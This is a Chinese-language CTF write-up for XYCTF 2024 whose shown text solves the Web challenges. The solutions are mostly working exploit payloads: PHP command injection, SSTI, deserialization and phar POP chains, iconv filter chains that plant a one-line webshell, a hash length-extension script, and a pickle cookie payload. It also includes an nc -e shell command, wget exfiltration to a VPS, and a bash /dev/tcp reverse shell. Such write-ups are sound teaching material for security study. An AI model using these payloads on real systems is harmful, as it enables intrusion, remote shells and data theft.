XYCTF 2024 全方向 WriteUp

写在前边:

为期一个月左右的XYCTF终于结束了,这一路上有太多事情发生了,但总体来说还是好的,自己也坚持下来了。虽然客观来说这次的新生赛的题目雀食不怎么新生,但是题目质量也是大部分都可圈可点,较为优秀,只要愿意搜索,都能学到点新知识。但相对来说,如果这些老油条们都需要去搜索才能解题,对于新生来说,或许也是个不小的门槛吧,这是我觉得未来需要改进的一点。

这里我要专门提一下余队的babyAIO,作为解出的一员,我想说:虽然他确实很套,但每一层都不偏不怪,正常思路确实可以做出来。主要就是太套了,如果一个队伍里方向不全,很容易就中道崩殂。这也是套题的缺点,只要有一个地方寄了,无论消耗再多功夫也是无济于事。

说的有点多了,各位师傅们看wp吧。

部分题用的附件:

链接:https://pan.baidu.com/s/1PQ7_NxhEPipknDr_w0G2Nw?pwd=haru 
提取码:haru 
 

解题目录

写在前边:

Web:

ez!Make

ez?Make

εZ?¿м@Kε¿?

ezhttp

Warm up

牢牢记住,逝者为大

我是一个复读机

ezmd5

ezpop

ezRCE

pharme

ezSerialize

连连看到底是连连什么看

Class

login

give me flag

ezLFI

Reverse:

聪明的信使

喵喵喵的flag碎了一地

你是真的大学生吗?

DebugMe

ez_rand

Trustme

ezcube

baby_unity

砸核桃

何须相思煮余年

ez_math

What's this

ez_enc

给阿姨倒一杯卡布奇诺

easy language

馒头

舔狗四部曲--简爱

舔狗四部曲--记忆的时光机

Pwn:

hello_world

invisible_flag

simple_srop

Misc:

game

熊博士

babyAIO

彩蛋

zip神之套

签到

TCPL

zzl的护理小课堂

Osint

Osint1

Osint2

EZ_Base1024*2

Rosk,Paper,Scissors!

我的二维码为啥扫不出来?

美妙的歌声

真>签到

Crypto:

Sign1n(签到)

happy_to_solve1

babyRSAMAX

x0r

Complex_dlp

反方向的密码 相思


Web:

ez!Make

echo $(shell cat /flag)

ez?Make

 

可以直接 nc ip port -e sh拿到shell

εZ?¿м@Kε¿?

https://zhuanlan.zhihu.com/p/57784678

/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

只让用这些玩意儿

https://blog.csdn.net/dlf1769/article/details/78997967

搜到一篇文章

现在$<就可以表示flag值了

看看能不能想办法通过报错外带出来

这样我们将数据名字带出来了

接下来就是如何读取

构造了半年

最后通过这样的方式出了

$$是获取当前pid

$$和$0一样可以当做shell执行命令(神奇吧,Linux,唉唉唉)

可以指定pid执行对应命令

然后<是为了读取这个文件的内容,也就是外带

而哪个文件呢,就是$<所表示的/flag了

真的好抽象啊这题。。。没绷住

ezhttp

 
 
 

POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 48 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: XYCTF Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: yuanshen.com Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close Client-ip: 127.0.0.1 via: ymzx.qq.com Cookie: XYCTF username=XYCTF&password=%40JOILha%21wuigqi123%24

Warm up

 

index.php?val1[]=1&val2[]=2&md5=0e215962017&XYCTF=s878926199a&XY=s878926199a

LLeeevvveeelll222.php

 

LLeeevvveeelll222.php?a=/test/e&b=phpinfo();&c=test

在b处可以执行代码

 

?a=/test/e&b=system('cat /flag');&c=test

牢牢记住,逝者为大

 

牢大在直升飞机上,快要坠机了,你能在有限的操作下救下牢大吗

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

过滤了一堆函数,主要核心思想利用飘号来执行Linux指令

首先第一步发现eval的是个注释,因此要取消掉注释

因为是单行注释,利用url编码给他添加%0a(换行符对应URL编码)

接下来是执行语句,我们暂时放一边,此时要想办法让后边的不执行,因此利用URL编码添加

%23,即#号注释掉后边的,此时中间就可以写shell了。

由于我们要执行的是PHP代码,因此需要分号(;)

题目限制我们最多写13个字符

我们现在已经写了一个换行符,一个井号,一个分号共3个

我们此时构造

`$_GET[b]`

一共10个字符不多不少,此时eval会把$_GET中的b对应的数据替换进去,而我们的``号可以执行Linux指令。

如果改成POST就无法执行了(11个字符超了)。

这样我们就成功绕过了cmd来到了shell里边,但是还有限制

preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)

注意到除了常见的指令和通配符以及管道符之外,额外过滤了fla三个字符

因此把我们很多命令都给禁用了

我们这里利用wget来进行数据外带

利用-U的user-agent来外带数据

首先在vps上用nc -lvp port监听一个端口port

然后用b传参,其中command就是对应的命令,如果想要读取文件的话,在不含fla三个字符的前提下,可以用strings命令读取,即`strings ./she`之类的。这里的she就是当前目录的文件名

 
?b=wget -U `command` ip:port&cmd=%0a`$_GET[b]`;%23

当然这里只是构造了一种回显渠道,仍然受到过滤的限制

因此我们需要在vps上放置一个一句话木马

通过wget -O来进行下载保存

我们假设我们的木马名字叫做she(因为shell的l被过滤了,所以只留下一个she)

?b=wget -O ./she.php ip:port/she&cmd=%0a`$_GET[b]`;%23

然后我们直接访问she.php就可以执行一句话木马了

本来思路是反弹shell,在本地测试的时候反弹shell成功了,但是远程没成功,以为是权限不够不让写文件,写到tmp路径也不行给我整麻了,研究了半天回显的方式,结果回显发现是服务器不支持bash所以没有反弹shell,没绷住。浪费了一个多小时

我是一个复读机

 
for passwd in dic:
        data = {"username":"admin","password":passwd}
        a=requests.post(url=url,data=data)
        if "Login Page" not in (resp:=a.text):
                print(passwd,resp,data)

密码是asdqwe

进去之后有个IO界面

只不过禁止了{{}}和{%%}

但是根据题目提示,只让输英文,我们输入中文字符,发现中文字符后,有{{}}出现,并且是两个中文字符才有

因此我们猜测不是英文的字符会被replace之类的,试图SSTI

我们不妨输入

二1+1三

后边我的两边夹的就是一(yi)了,因为好看)

过滤了

" , ' [ ] flag _ os 

等,没有过滤request,考虑用request.arg用get绕过

构造

 
?sentence=一(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()一&a=__globals__&b=os&c=cat%20/flag

在c处有shell

ezmd5

最简单的一集,无非就是俩文件不同,但是md5相同

那就是md5碰撞

直接一把梭

fastcoll一把梭了

解压出来的两张图片直接分别上传上去就OK了

ezpop

 
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}
  1. 反序列化CCC后触发析构函数,之后调用AAA的__toString

    CCC -> c = AAA
  2. AAA类的__toString方法将自身的属性a作为属性名,获取属性s的名叫属性a值的属性,这里是调用BBB的__get方法,传入属性a的值

     
    AAA -> s = BBB
        -> a = ???
  3. BBB类的__get方法调用call_user_func,并且调用后还会对结果链式调用两次,调用POST请求体中的参数a,将POST请求体作为调用参数,之后链式调用的参数分别是自身的c和d属性

     
    $POST -> a = $func
          -> ? = ?
    BBB -> c = $arg1
        -> d = $arg2 

通过以上方法构造的pop链不能直接用,因为抛出异常会停止执行不会执行__destruct里的代码,需要对payload进行修改

 
echo str_replace("i:1;N","i:0;N", serialize(array($ccc, NULL)));

大概就是在从payload反序列化时,因为有两个一样的索引,第一次是真正有效的pop链对象,第二次是NULL,触发了垃圾回收,成功触发__destruct的执行

 
call_user_func($a,$b)($c)($d);

这里的思路就是将a设定为implode函数来把数组拼接成字符串执行,因为这里b传入的是整个$_POST,传入的不是请求体中的参数,这里为implode拆开成数组。之后还会连续执行两次,第一次也是一样的思路,拼接数组成字符串执行,这里c是system拆开成数组,之后是第二次执行,d便是rce指令了。

payload

GET xy参数生成

$bbb = new BBB;
$bbb -> c = array("sys", "tem");
$bbb -> d = "cat /flag";
$aaa = new AAA;
$aaa -> s = $bbb;
$ccc = new CCC;
$ccc -> c = $aaa;
echo str_replace("i:1;N","i:0;N", serialize(array($ccc, NULL)));

POST 请求体

a=implode&1=impl&2=ode

之后就有flag了

ezRCE

构造八进制

注意第一个字符前面也要加\

然后构造

 
?cmd=$0<<<$'八进制值'

最终poc

 
?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27

参考探姬文章

【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户

pharme

上传文件保存到/tmp/...jpg

只看文件后缀是不是jpg,不检查文件内容

访问class.php

 
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}
?>

有phar反序列化漏洞

因此重点关注的是evil

然后记得触发fast destruct,就是删掉最后一个反序列化之后的}就行

主要目的还是执行eval

上边的判断条件就是将所有的

字母,下划线和括号替换为空,然后再将连续的分号替换为ch3nx1

注意这里是replace,不对原来的cmd产生影响

其实说白了就是检查这个cmd是不是只有字母下划线和括号以及分号

是就执行eval

但是这里的eval后边拼接了个

isbigvegetablechicken!

eval直接报致命性错误然后不让执行

目前的难点在于如何绕过或者屏蔽掉后边的或者闭合掉

基本上搞定了,利用随机读取文件的特点,加上__halt_compiler()函数截断就出了。

 
<?php

class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            ;
        } else {
            echo 'nonono';
        }
    }
}

$a = new evil();
$a->a = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();";
$a->cmd = &$a->a;
echo serialize($a)."\n";

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

先执行php文件,再执行下边的这个文件,就能看见evil.jpg了

 
import gzip

with open('./evil.phar', 'rb') as file:#更改文件后缀
    data = file.read()

ndata = gzip.compress(data)

with open('./evil.jpg', 'wb') as file:#更改文件后缀
    file.write(ndata)

然后传上去就可以得到一个temp路径,给下边这个路径拼接

file=php://filter/resource=phar://

file=php://filter/resource=phar:///tmp/xxx.jpg

然后post传参到class.php

然后运行下列脚本即可

import requests

i = 0
url = "{你的靶机地址}/class.php"
while True:
    i += 1
    resp = requests.post(url, data={
        'file': 'php://filter/resource=phar:///tmp/e5ec0425f5c71e2a21fcd981878e4806.jpg'
    })
    if 'XYCTF' in resp.text:
        print(i)
        print(resp.text)

ezSerialize

<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
    public $token;
    public $password;

    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = $b;
    }

    public function login()
    {
        return $this->token === $this->password;
    }
}

if (isset($_GET['pop'])) {
    $pop = unserialize($_GET['pop']);
    $pop->token=md5(mt_rand());
    if($pop->login()) {
        echo $flag;
    }
}

https://www.freebuf.com/vuls/192012.html

猜测是PHP指针

查到了指针引用

https://sakurahack-y.github.io/2022/12/08/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93

 
<?php
class Flag {
    public $token;
    public $password;

    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = $b;
    }

    public function login()
    {
        return $this->token === $this->password;
    }
}



$a = new Flag('2','1');
$a->password = &$a->token;

echo serialize($a)."\n";

?>

 
?pop=O:4:"Flag":2:{s:5:"token";s:1:"2";s:8:"password";R:2;}

得到

/fpclosefpclosefpcloseffflllaaaggg.php

 
<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

?>

我查的好像__unserialize不起作用,得在PHP7.4之后才有用

所以我们的利用思路一开始就不应该在unserialize魔术方法上

而是注意到

$this->name = ''拿来跟字符串比较了,因此也会调用__toString方法

因此思路就是this->name调用D的__toString方法,然后D的$this->lao调用B的__get方法

同时D的$this->lao指向的是B,而B又没有chen属性,因此返回空,正好满足了wakeup的需求。

然后就是B的$funciton()调用A的__invoke,A再调用C的__call。

因此构造

 
$d = new A();
$e = new C();
$d->mack = $e;
$c = new B();
$c->luo = $d;
$b = new D();
$b->lao=$c;
$a = new E();
$a->name = $b;
echo serialize($a)."\n";
 
?pop=O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}s:3:"num";N;}

/saber_master_saber_master.php

 
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

这个利用链没什么好说的

 
$c = new XYCTFNO1("n31","n32","placeholder");
$c->T1ng = "yuroandCMD258";
$b = new XYCTFNO2("n21","n22");
$b->adwa = $c;
$a = new XYCTFNO3("n11","n12");
$a->N1ght = "oSthing";
$a->KickyMu = $b;

echo serialize($c)."\n";

输出的值为

 
O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:3:"n21";s:4:"adwa";O:8:"XYCTFNO1":3:{s:3:"Liu";s:3:"n31";s:4:"T1ng";s:13:"yuroandCMD258";s:17:"XYCTFNO1upsw1ng";s:11:"placeholder";}}s:7:"fpclose";s:3:"n12";s:5:"N1ght";s:7:"oSthing";}

这里有两个坑,一个是private需要添加%00,另一个是需要给反序列化后的值增加一个元素

即在XYCTFNO1后边原来是3,需要修改成4,并且在placeholder的;后边添加

s:7:"crypto0";s:5:"dev1l";

于是有poc

 
?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:3:"n21";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";s:3:"n31";s:4:"T1ng";s:13:"yuroandCMD258";s:17:"%00XYCTFNO1%00upsw1ng";s:11:"placeholder";s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";s:3:"n12";s:5:"N1ght";s:7:"oSthing";}

然后我们要关注POST的值的利用

echo new $_POST['X']($_POST['Y']);

这里是一个原生类利用,我们利用Spl类来进行读取文件

被这儿坑了半个小时,属实是瞌睡了。。。

网上压根没有提到Spl类可以用伪协议,我是猜测他都读取文件了我用个伪协议不过分吧,试着用了一下就出了。。。

网上的都说需要用for循环iter他让他按行读取,邮电部诗人了。

总之,我们post值为

 
X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=./flag.php

当然你也可以写个shell过去,这个就都无所谓了。

连连看到底是连连什么看

 
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
    die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";
if(file_get_contents($payload)==="XYCTF"){
    echo file_get_contents('/flag');
}

https://blog.csdn.net/qq_46266259/article/details/129034405

https://tttang.com/archive/1395/

GitHub脚本:

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

这个绕过雀食挺有意思的,回头研究一下

大体上研究了一下,应该就是这个了,但是我们需要找到一个完全满足条件的,有点不太好找,试试看吧。。

或许考虑转成某种编码可以去掉后边的值?

又看了看,base64了3次XYCTF,得到了VjBac1JGWkZXVDA9,然后用GitHub那个脚本跑一下,最后加上两次base64_decode就行了(两次是因为脚本里边自带一次解密,至于base64他3次是因为只有3次之后才能没有等号,也就是是4的倍数,不是4的倍数脚本会给你乱加东西,导致解出来有不可见字符,没办法与XYCTF完全相同)

本地通了远程没通,猜测可能是因为读取文件不一样的锅()

先放出来本地poc

 

?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode

经过我不懈努力,终于出了

本地和远程的区别主要在于,本地用的基础字符有12个,那么通过这个转换,最多可以获得

12/3 * 4 = 16个字符,恰好是base64 3次后的长度,你说巧不巧

所以我们要先解决的是如果字符长度不够该怎么办

翻阅文章,给出了答案,可以通过

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7

的形式获取字符,无中生有

尝试添加进去去攻击,这里需要执行两次来构造足够长度的字节

但是依旧没有回显,那就只能说明他读的/etc/passwd 是可读的,即里边有字符

那怎么办呢?

我们知道base64_decode遇到不可见的字符会过滤掉,如果我们一直base64_decode,那么所有的文本都会被过滤掉,因此我们往上叠base64_decode即可,这里我叠了4次发现可以执行了。说明我们把他清空了,然后利用上边的重新构造了一遍。

改良后的exp

 
 

?p=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode

Class

签到题

Spl原生类+伪协议利用,用data协议构造出来system()就行了

exp:

?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

login

目前官方有bug估计

猜路径发现有一个/register.php

注册了之后登录就报服务器错误500了

等官方修复或者看怎么说吧

官方修了,但是我起晚了没拿到血...

核心思路还是构造pickle反序列化,我猜的就是,因为500还是python不是SSTI就是pickle,而且没有输入奇怪的东西就500,pickle八九不离十

说一下具体的思路

看见login.php,以为是SQL,没出,看了眼环境有python

试着访问register.php

然后注册一个号,就可以登录了,看请求,cookie里边存储的一眼是pickle反序列化之后的值

就那个开头很多A的

然后直接pickle反序列化一把梭

默认用tR的脚本没跑通(就我ISCTF恐怖机器人那道题的exp)

测试了一下发现是R字符被ban了,试着用o字节码绕过

 
import base64
import requests

shell = b'''bash -c "bash -i >& /dev/tcp/反弹ip/反弹端口 0<&1"''' #反弹shell语句

url = ""

payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''

payload = base64.b64encode(payload).decode()

header = {"Cookie":"RememberMe="+payload}
r=requests.get(url,headers=header)

然后就可以反弹shell了

give me flag

解题环境在开头的百度网盘

如果没有环境就输入

pip install -r requirements.txt

然后打开crack.py

这个是我写的爆破脚本,如果想要秒出就把他的for循环改为43开始就行

然后更换一下url地址和md5就OK了

注意这个工具为了适配本题和crack脚本,我魔改过,想要原来的就上GitHub下载就行

这里把我写的脚本贴一下:

 
import requests
import time
from common.HashExtAttack import HashExtAttack
from loguru import logger
import sys

logger.remove()
logger.add(sys.stderr, level="INFO")

for i in range(10,50):
        value = "2"
        times = str(int(time.time()) + 4 )
        url = "http://127.0.0.1:9342/"
        crack = HashExtAttack()
        va,md5 = crack.run("","1941fdd8711dda8426747b1bb9f18bff",value + times,i)
        data = f"?value={va[:len(va) - len(times) ]}&md5={md5}"
        url = url + data
        print(url)
        now_time = int(time.time())
        flag = 0
        while(1):
                a = requests.get(url)

                if "XYCTF" in a.text:
                        print(a.text)
                elif flag < 5 and int(time.time()) != now_time:
                        temp = a.text
                        now_time = int(time.time())
                        # print(temp.split("?>")[1],times,now_time,i)
                        print(times,now_time,i)
                        flag += 1
                now_time = int(time.time())
                if now_time > int(times) + 1:
                        break

然后在脚本里的这儿

我魔改了一下返回值

ezLFI

鬼知道是不是预期

具体解法请去看连连看

总之就是构造一个一句话木马

然后用连连看的方法去构造

还是就那个GitHub的代码

 

base64_payload = "UEQ5d2FIQWdjM2x6ZEdWdEtDUmZSMFZVV3lkaEoxMHBPejgr"

然后跑脚本

最后给他加一个|convert.base64-decode

就行,最终exp

file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|